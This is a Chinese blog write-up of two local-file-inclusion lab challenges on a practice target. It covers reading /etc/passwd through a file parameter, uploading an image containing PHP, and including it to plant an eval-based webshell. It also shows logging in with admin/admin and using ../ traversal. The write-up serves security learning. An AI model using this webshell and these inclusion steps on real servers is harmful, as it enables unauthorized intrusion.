0x00 开题说明
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io
0x01 LFI本地文件包含
0o00 题目提示
1 | LFI本地文件包含 |
0o01 文件包含
- 产生原因:程序员为更好地使用代码的重用性,引入文件包含函数,通过文件包含函数将文件包含到程序中,以便直接使用包含文件的代码。
- 造成影响:直接读取服务器上文件,导致敏感文件泄露。若结合文件上传漏洞,将造成更大破坏。
- 再次分类:①本地文件包含(LFI,服务器上资源)②远程文件包含(RFI,服务器外资源)。
- 存在应用:web应用等都有存在,仅是 php 的摊子较大,较容易爆出该方面漏洞,故常被用来举例。
- 注入点:观察URL链接中的
page/include/path/file/link/url
等字段。 - 注:文件包含不是漏洞,能被攻击者控制才形成漏洞。
0o02 包含过程
先拿新装的 Nessus 扫一波,看图吧。此处仅试试 Nessus 使用效果,后续看情况利用。
拿 dirsearch 扫一波:
dirsearch -u http://106.15.50.112:8014 -i 200 -t 5
。分别访问下目录:
http://106.15.50.112:8014/upload/
是几张图,大致是上传时的图片马,点开火绒一个劲的报毒;http://106.15.50.112:8014/upload.php
则是一个上传点,且存在白名单限制;http://106.15.50.112:8014/index.php?file=test.php
一看就不正经,修改test.php
为/etc/passwd
,得到靶机系统中所有的用户和用户的主要信息,另两个目录类似。彩蛋:
this_is_th3_F14g_27726623fabee80870ab072b70178308.txt
。具体测试发现,上传点检测后缀以及
Content-Type
,上传成功后返回路径。构造图片马直接上传,通过站点暴露地文件包含功能执行使图片马中的
php
代码(http://106.15.50.112:8014/index.php?file=upload/20xxx.jpg
),生成tumei.php
文件,其内容为<?php @eval($_POST["tumei"]);?>
,拿蚁剑连接。注:若URL链接路径不存在,直接跳转到
http://106.15.50.112:8014/index.php?file=test.php
。代码审计(未放出)
针对
upload.php
:
empty($_FILES["file"])
进行文件判空;explode()
点分割上传的文件名,拿到最后一个点后的内容(上传的后缀);- 通过
@$_FILES["file"]["type"]
判断上传文件的MIME 类型,@$_FILES["file"]["size"]
判断文件大小,以及in_array()
判断后缀是否符合要求。 - 若符合,则组合当前时间、1000~9999随机数以及提取的后缀形成新的文件名;
- 之后,通过
move_uploaded_file()
移动上传到服务器的临时文件到upload
目录下,具体:move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename)
。 - 最后,通过
file_get_contents()
将保存的文件内容写入到一个字符串中(图片内容为二进制数据),file_put_contents()
重新写入到upload/filename
文件中,最后的最后echo
回显前端。
- 针对
index.php
:
- 通过
isset($_GET['file'])
判断变量被设置且非NULL。 - 符合要求,则获取包含文件名,即
$_GET['file']
的内容;同时,isset($file)
判断是否设置且非NULL。 - 符合条件,则
preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file)
进行正则判断,使无法远程包含、其他协议利用;strstr($file,"..")
判断是否含有多余的..
,避免目录遍历;strlen($file)
判断文件名长度。如上条件,一个不符直接报NAIVE!!!
。反之,include($file)
引入并执行$file
中文件内容。 - 注:找到
http://106.15.50.112:8014/index.php?file=
访问上传的图片时内容乱码的原因(直接访问图片文件,另存为,本地查看不乱码)——include()
所致。具体原因,说是引入文件和当前文件字符集编码不一致?打住,这不是重点,跳过。懂的师傅可以留言……
0o03 参考资料
0x02 LFI本地文件包含02
0o00 题目提示
1 | LFI本地文件包含02 |
0o01 包含过程
访问链接,
一股熟悉感涌上心头,看轮播图像那啥凡模板来着。先扫目录吧……找到一堆目录遍历和一个登录口。登录口果断一波弱口令,嘿admin/admin
。观察后台,!!!文件包含!!!看样子就
添加频道
那比较像,频道模板和详情模板调用了php文件。老规矩喽,上图片马,再包含。上传文件时。
图片路径:
uploadfile/image/20220611/20220611172627_53530.jpg
。由于不知道
c_article.php
的路径,想到使用绝对路径/var/www/html/uploadfile/image/20220611/20220611172627_53530.jpg
访问图片马,无果(都指定网站根目录了,还给我访问其他目录???)。改用../
不断测试其在哪个上级目录,以找到网站根目录,再返回去查找图片马的位置,使文件包含成功实现,此处使用../../uploadfile/image/20220611/20220611172627_53530.jpg
成功。getshell后。
模型文件路径:
/var/www/html/template/1/c_article.php
。服务器根目录的flag:
flag{e338c8f9ada22f53}
。后面,dirsearch扫完,阿狸个粑粑
0x03 完本总结
学到的姿势更会了,GoGoGo……
- 本文标题:安鸾之文件包含系列
- 本文作者:涂寐
- 创建时间:2022-06-13 09:46:29
- 本文链接:article/6edc2289.html
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!